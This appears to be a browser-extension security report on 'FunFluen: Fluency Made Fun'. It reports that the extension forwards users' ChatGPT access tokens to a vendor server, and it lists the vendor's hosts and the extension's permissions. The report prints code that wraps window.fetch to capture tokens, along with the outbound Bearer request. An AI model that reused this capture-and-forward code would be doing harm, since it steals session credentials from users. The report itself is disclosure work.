Is FunFluen: Fluency Made Fun safe?

Medium risk

FunFluen sends your ChatGPT session token to its own testi.appforlanguage.com server with each AI chat request.

The extension captures the ChatGPT access token from chatgpt.com pages and stores it. On each AI chat request, the background script sends that token as a Bearer credential to the vendor's chat2api endpoint to obtain request tokens, which it then uses for chatgpt.com conversations.

App For Languagev1.25.08.31Chrome Web Store
49Risk
Who publishes it

App For Language - 11 other listings from the same operator, 3 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
App For Language

Shared hosts - 14 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

affiliate.funfluen.com
Also called by 1 other listing
appforlanguage.com
Also called by 1 other listing
auth.appforlanguage.com
Also called by 1 other listing
d.appforlanguage.com
Also called by 1 other listing
d1.appforlanguage.com
Also called by 1 other listing: Language Reactor transformed: fueled by AI
extension.appforlanguage.com
Also called by 1 other listing
flashcard.funfluen.com
Also called by 1 other listing
funfluen.com
Also called by 1 other listing: Language Reactor transformed: fueled by AI
m.appforlanguage.com
Also called by 1 other listing: Language Reactor transformed: fueled by AI
roadmap.funfluen.com
Also called by 1 other listing
t4.appforlanguage.com
Also called by 1 other listing
test2.appforlanguage.com
Also called by 1 other listing
testi.appforlanguage.com
Also called by 1 other listing: Language Reactor transformed: fueled by AI
words.appforlanguage.com
Also called by 1 other listing

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

ChatGPT session token is sent to the vendor server on each AI chat request

Code analysis shows the extension reads your ChatGPT access token and sends it as a Bearer header to testi.appforlanguage.com, a vendor host, before each AI chat request.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You use the AI chat feature on a subtitle while logged in to chatgpt.com.

The extension did this

The extension sends your ChatGPT token to testi.appforlanguage.com before calling chatgpt.com.

The reply supplies the sentinel tokens used for the conversation request.

The code that does this

Token capture in the page and the outbound request in the background script

Readable version

Page script

// Wrap window.fetch. For each JSON response containing accessToken and expires,// post the token to the content script, which saves it to extension storage.const origFetch = window.fetch;window.fetch = (...args) => origFetch(...args).then(res => {  res.clone().json().then(j => { if (j?.accessToken && j?.expires) window.postMessage({type:'SAVE_ACCESS_TOKEN', token:j.accessToken}); });  return res;});

Background script

// chatgptRequirementsURL = 'https://testi.appforlanguage.com/chat2api/v1/chat/chat-requirements'const reqs = await fetch(chatgptRequirementsURL, {  headers: { Authorization: 'Bearer ' + this.token }}).then(r => r.json());
What the vendor-bound request carries
  • ChatGPT access token
    Authorization: Bearer eyJhbGciOi... (illustrative)

    A bearer credential that can act as your ChatGPT account.

  • Destination
    testi.appforlanguage.com/chat2api/v1/chat/chat-requirements

    A host run by the extension vendor, not OpenAI.

Hosts involved
    • testi.appforlanguage.com

    Vendor chat2api endpoint that receives the ChatGPT bearer token.

    • chatgpt.com

    Source of the token and target of the conversation request.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.25.08.31. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on funfluen.com

    https://funfluen.com/*

  • Read and change your data on appforlanguage.com

    https://appforlanguage.com/*

  • Read and change your data on clients5.google.com

    https://clients5.google.com/*

  • Read and change your data on youtube.com

    *://youtube.com/*

  • Read and change your data on netflix.com

    *://netflix.com/*

  • Store data in your browser

    storage

  • Store an unlimited amount of data in your browser

    unlimitedStorage

  • Speak text aloud

    tts

Where it sends data

Destinations our analysis observed FunFluen: Fluency Made Fun contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • testi.appforlanguage.com

    FunFluen: Fluency Made Fun sends data to testi.appforlanguage.com. One other extension we have analysed sends data here.

Updated 15 October 2026jioeelhgnnmelcenmdonkpcgiigcajko